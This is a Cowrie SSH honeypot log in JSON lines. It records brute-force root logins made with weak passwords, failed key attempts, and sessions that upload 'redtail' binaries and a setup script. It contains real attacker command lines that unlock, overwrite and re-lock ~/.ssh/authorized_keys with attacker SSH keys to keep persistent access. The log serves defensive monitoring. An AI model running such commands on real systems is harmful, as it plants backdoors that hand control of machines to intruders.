{"eventid":"cowrie.login.success","username":"root","password":"wj123456","message":"login attempt [root/wj123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:05:28.429467Z","src_ip":"213.209.159.158","session":"679272b1cfb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.2","message":"Connection lost after 18.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:05:33.397892Z","src_ip":"213.209.159.158","session":"679272b1cfb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":11878,"dst_ip":"159.203.135.109","dst_port":22,"session":"06c2a5226c8a","protocol":"ssh","message":"New connection: 213.209.159.158:11878 (159.203.135.109:22) [session: 06c2a5226c8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:05:33.476039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:05:33.480727Z","src_ip":"213.209.159.158","session":"06c2a5226c8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:05:33.562859Z","src_ip":"213.209.159.158","session":"06c2a5226c8a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"wj123456","message":"login attempt [root/wj123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:05:33.808558Z","src_ip":"213.209.159.158","session":"06c2a5226c8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":40606,"dst_ip":"159.203.135.109","dst_port":22,"session":"f07ed89ffdbc","protocol":"ssh","message":"New connection: 139.19.117.129:40606 (159.203.135.109:22) [session: f07ed89ffdbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:05:35.970679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:05:35.975125Z","src_ip":"139.19.117.129","session":"f07ed89ffdbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:05:36.076058Z","src_ip":"139.19.117.129","session":"f07ed89ffdbc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:10:40:b8:8b:f6:cd:ca:46:24:c9:aa:9d:ce:35:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCiPpsiXIuREc5OARmiTYXWmTv6em/mdYt/f9aXWSHFoYFnA4IuuqPKsHaIEk8LD8lX8sL9u1+RyXM34tVOP7qj12DrLzI8Juj3RIwTawq+dbaQF4ucIW6OneFDrQs3C1bbF+kSYEXtTnHKm0gjm32xobgfAPo6jAPuGRnw8Tk4sHLL7zOk4bdEqNvZ2Pix2KfnopkYE3njKmGIbA+YJr9OPYNNhCy3GA9pixre54WkA8Enj0T3fTGPpT1ll/dB5OoOu7zQ1QV6n6erb0xVn/akZurZykjK0ZDal2EZdBgThenqf90PqJtCbQ+3LMw3nF6/GXFqCG3Ur+IX3re5E+UEa1mu1RqDIpTEOQ1GPp8OYAEgY37DZY1Q0oeUvQ6ZmLe2S2wfA3D2eHG9/Z0kBB8RX8yllqhV/aoJLsXVZczdRN4On4dLqeuHUmLK3JztT+db1wfbz3am+22tKSXhYAU8h00b4IEsPiSGO0nuJ6q6md1qulGkXGE/tE3Ywi880D0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:10:40:b8:8b:f6:cd:ca:46:24:c9:aa:9d:ce:35:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:05:36.280750Z","src_ip":"139.19.117.129","session":"f07ed89ffdbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:10:40:b8:8b:f6:cd:ca:46:24:c9:aa:9d:ce:35:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCiPpsiXIuREc5OARmiTYXWmTv6em/mdYt/f9aXWSHFoYFnA4IuuqPKsHaIEk8LD8lX8sL9u1+RyXM34tVOP7qj12DrLzI8Juj3RIwTawq+dbaQF4ucIW6OneFDrQs3C1bbF+kSYEXtTnHKm0gjm32xobgfAPo6jAPuGRnw8Tk4sHLL7zOk4bdEqNvZ2Pix2KfnopkYE3njKmGIbA+YJr9OPYNNhCy3GA9pixre54WkA8Enj0T3fTGPpT1ll/dB5OoOu7zQ1QV6n6erb0xVn/akZurZykjK0ZDal2EZdBgThenqf90PqJtCbQ+3LMw3nF6/GXFqCG3Ur+IX3re5E+UEa1mu1RqDIpTEOQ1GPp8OYAEgY37DZY1Q0oeUvQ6ZmLe2S2wfA3D2eHG9/Z0kBB8RX8yllqhV/aoJLsXVZczdRN4On4dLqeuHUmLK3JztT+db1wfbz3am+22tKSXhYAU8h00b4IEsPiSGO0nuJ6q6md1qulGkXGE/tE3Ywi880D0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:05:36.284388Z","src_ip":"139.19.117.129","session":"f07ed89ffdbc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:10:40:b8:8b:f6:cd:ca:46:24:c9:aa:9d:ce:35:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCiPpsiXIuREc5OARmiTYXWmTv6em/mdYt/f9aXWSHFoYFnA4IuuqPKsHaIEk8LD8lX8sL9u1+RyXM34tVOP7qj12DrLzI8Juj3RIwTawq+dbaQF4ucIW6OneFDrQs3C1bbF+kSYEXtTnHKm0gjm32xobgfAPo6jAPuGRnw8Tk4sHLL7zOk4bdEqNvZ2Pix2KfnopkYE3njKmGIbA+YJr9OPYNNhCy3GA9pixre54WkA8Enj0T3fTGPpT1ll/dB5OoOu7zQ1QV6n6erb0xVn/akZurZykjK0ZDal2EZdBgThenqf90PqJtCbQ+3LMw3nF6/GXFqCG3Ur+IX3re5E+UEa1mu1RqDIpTEOQ1GPp8OYAEgY37DZY1Q0oeUvQ6ZmLe2S2wfA3D2eHG9/Z0kBB8RX8yllqhV/aoJLsXVZczdRN4On4dLqeuHUmLK3JztT+db1wfbz3am+22tKSXhYAU8h00b4IEsPiSGO0nuJ6q6md1qulGkXGE/tE3Ywi880D0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:10:40:b8:8b:f6:cd:ca:46:24:c9:aa:9d:ce:35:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:05:36.388588Z","src_ip":"139.19.117.129","session":"f07ed89ffdbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:10:40:b8:8b:f6:cd:ca:46:24:c9:aa:9d:ce:35:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCiPpsiXIuREc5OARmiTYXWmTv6em/mdYt/f9aXWSHFoYFnA4IuuqPKsHaIEk8LD8lX8sL9u1+RyXM34tVOP7qj12DrLzI8Juj3RIwTawq+dbaQF4ucIW6OneFDrQs3C1bbF+kSYEXtTnHKm0gjm32xobgfAPo6jAPuGRnw8Tk4sHLL7zOk4bdEqNvZ2Pix2KfnopkYE3njKmGIbA+YJr9OPYNNhCy3GA9pixre54WkA8Enj0T3fTGPpT1ll/dB5OoOu7zQ1QV6n6erb0xVn/akZurZykjK0ZDal2EZdBgThenqf90PqJtCbQ+3LMw3nF6/GXFqCG3Ur+IX3re5E+UEa1mu1RqDIpTEOQ1GPp8OYAEgY37DZY1Q0oeUvQ6ZmLe2S2wfA3D2eHG9/Z0kBB8RX8yllqhV/aoJLsXVZczdRN4On4dLqeuHUmLK3JztT+db1wfbz3am+22tKSXhYAU8h00b4IEsPiSGO0nuJ6q6md1qulGkXGE/tE3Ywi880D0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:05:36.392510Z","src_ip":"139.19.117.129","session":"f07ed89ffdbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:05:45.980680Z","src_ip":"139.19.117.129","session":"f07ed89ffdbc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:05:51.127912Z","src_ip":"213.209.159.158","session":"06c2a5226c8a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a","message":"CMD: chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:05:51.131363Z","src_ip":"213.209.159.158","session":"06c2a5226c8a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/96abae0475aed33d163866113bf441296b0f7de7c3175e634e29a5b0f5aa4014","size":83,"shasum":"96abae0475aed33d163866113bf441296b0f7de7c3175e634e29a5b0f5aa4014","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/96abae0475aed33d163866113bf441296b0f7de7c3175e634e29a5b0f5aa4014 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:05:51.229749Z","src_ip":"213.209.159.158","session":"06c2a5226c8a","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"clean.sh","outfile":"var/lib/cowrie/downloads/d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e","shasum":"d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e","message":"SFTP Uploaded file \"clean.sh\" to var/lib/cowrie/downloads/d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:05:51.313747Z","src_ip":"213.209.159.158","session":"06c2a5226c8a","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"redtail.arm7","outfile":"var/lib/cowrie/downloads/3625d068896953595e75df328676a08bc071977ac1ff95d44b745bbcb7018c6f","shasum":"3625d068896953595e75df328676a08bc071977ac1ff95d44b745bbcb7018c6f","message":"SFTP Uploaded file \"redtail.arm7\" to var/lib/cowrie/downloads/3625d068896953595e75df328676a08bc071977ac1ff95d44b745bbcb7018c6f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:05:51.322581Z","src_ip":"213.209.159.158","session":"06c2a5226c8a","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"redtail.arm8","outfile":"var/lib/cowrie/downloads/dbb7ebb960dc0d5a480f97ddde3a227a2d83fcaca7d37ae672e6a0a6785631e9","shasum":"dbb7ebb960dc0d5a480f97ddde3a227a2d83fcaca7d37ae672e6a0a6785631e9","message":"SFTP Uploaded file \"redtail.arm8\" to var/lib/cowrie/downloads/dbb7ebb960dc0d5a480f97ddde3a227a2d83fcaca7d37ae672e6a0a6785631e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:05:51.332121Z","src_ip":"213.209.159.158","session":"06c2a5226c8a","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"redtail.i686","outfile":"var/lib/cowrie/downloads/048e374baac36d8cf68dd32e48313ef8eb517d647548b1bf5f26d2d0e2e3cdc7","shasum":"048e374baac36d8cf68dd32e48313ef8eb517d647548b1bf5f26d2d0e2e3cdc7","message":"SFTP Uploaded file \"redtail.i686\" to var/lib/cowrie/downloads/048e374baac36d8cf68dd32e48313ef8eb517d647548b1bf5f26d2d0e2e3cdc7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:05:51.343685Z","src_ip":"213.209.159.158","session":"06c2a5226c8a","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"redtail.x86_64","outfile":"var/lib/cowrie/downloads/59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5","shasum":"59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5","message":"SFTP Uploaded file \"redtail.x86_64\" to var/lib/cowrie/downloads/59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:05:51.356226Z","src_ip":"213.209.159.158","session":"06c2a5226c8a","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"setup.sh","outfile":"var/lib/cowrie/downloads/783adb7ad6b16fe9818f3e6d48b937c3ca1994ef24e50865282eeedeab7e0d59","shasum":"783adb7ad6b16fe9818f3e6d48b937c3ca1994ef24e50865282eeedeab7e0d59","message":"SFTP Uploaded file \"setup.sh\" to var/lib/cowrie/downloads/783adb7ad6b16fe9818f3e6d48b937c3ca1994ef24e50865282eeedeab7e0d59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:05:51.360093Z","src_ip":"213.209.159.158","session":"06c2a5226c8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.0","message":"Connection lost after 18.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:05:51.447558Z","src_ip":"213.209.159.158","session":"06c2a5226c8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.40.215","src_port":41504,"dst_ip":"159.203.135.109","dst_port":22,"session":"9071718dc3c7","protocol":"ssh","message":"New connection: 187.212.40.215:41504 (159.203.135.109:22) [session: 9071718dc3c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:08.386462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:08.391720Z","src_ip":"187.212.40.215","session":"9071718dc3c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:08.469391Z","src_ip":"187.212.40.215","session":"9071718dc3c7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"adminiSTRATOR","message":"login attempt [root/adminiSTRATOR] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:08.810889Z","src_ip":"187.212.40.215","session":"9071718dc3c7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:08.999333Z","src_ip":"187.212.40.215","session":"9071718dc3c7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:09.002709Z","src_ip":"187.212.40.215","session":"9071718dc3c7","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:09.006491Z","src_ip":"187.212.40.215","session":"9071718dc3c7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:09.086936Z","src_ip":"187.212.40.215","session":"9071718dc3c7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:09.277072Z","src_ip":"187.212.40.215","session":"9071718dc3c7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:09.280119Z","src_ip":"187.212.40.215","session":"9071718dc3c7","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:09.360123Z","src_ip":"187.212.40.215","session":"9071718dc3c7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:06:09.363627Z","src_ip":"187.212.40.215","session":"9071718dc3c7","protocol":"ssh"}
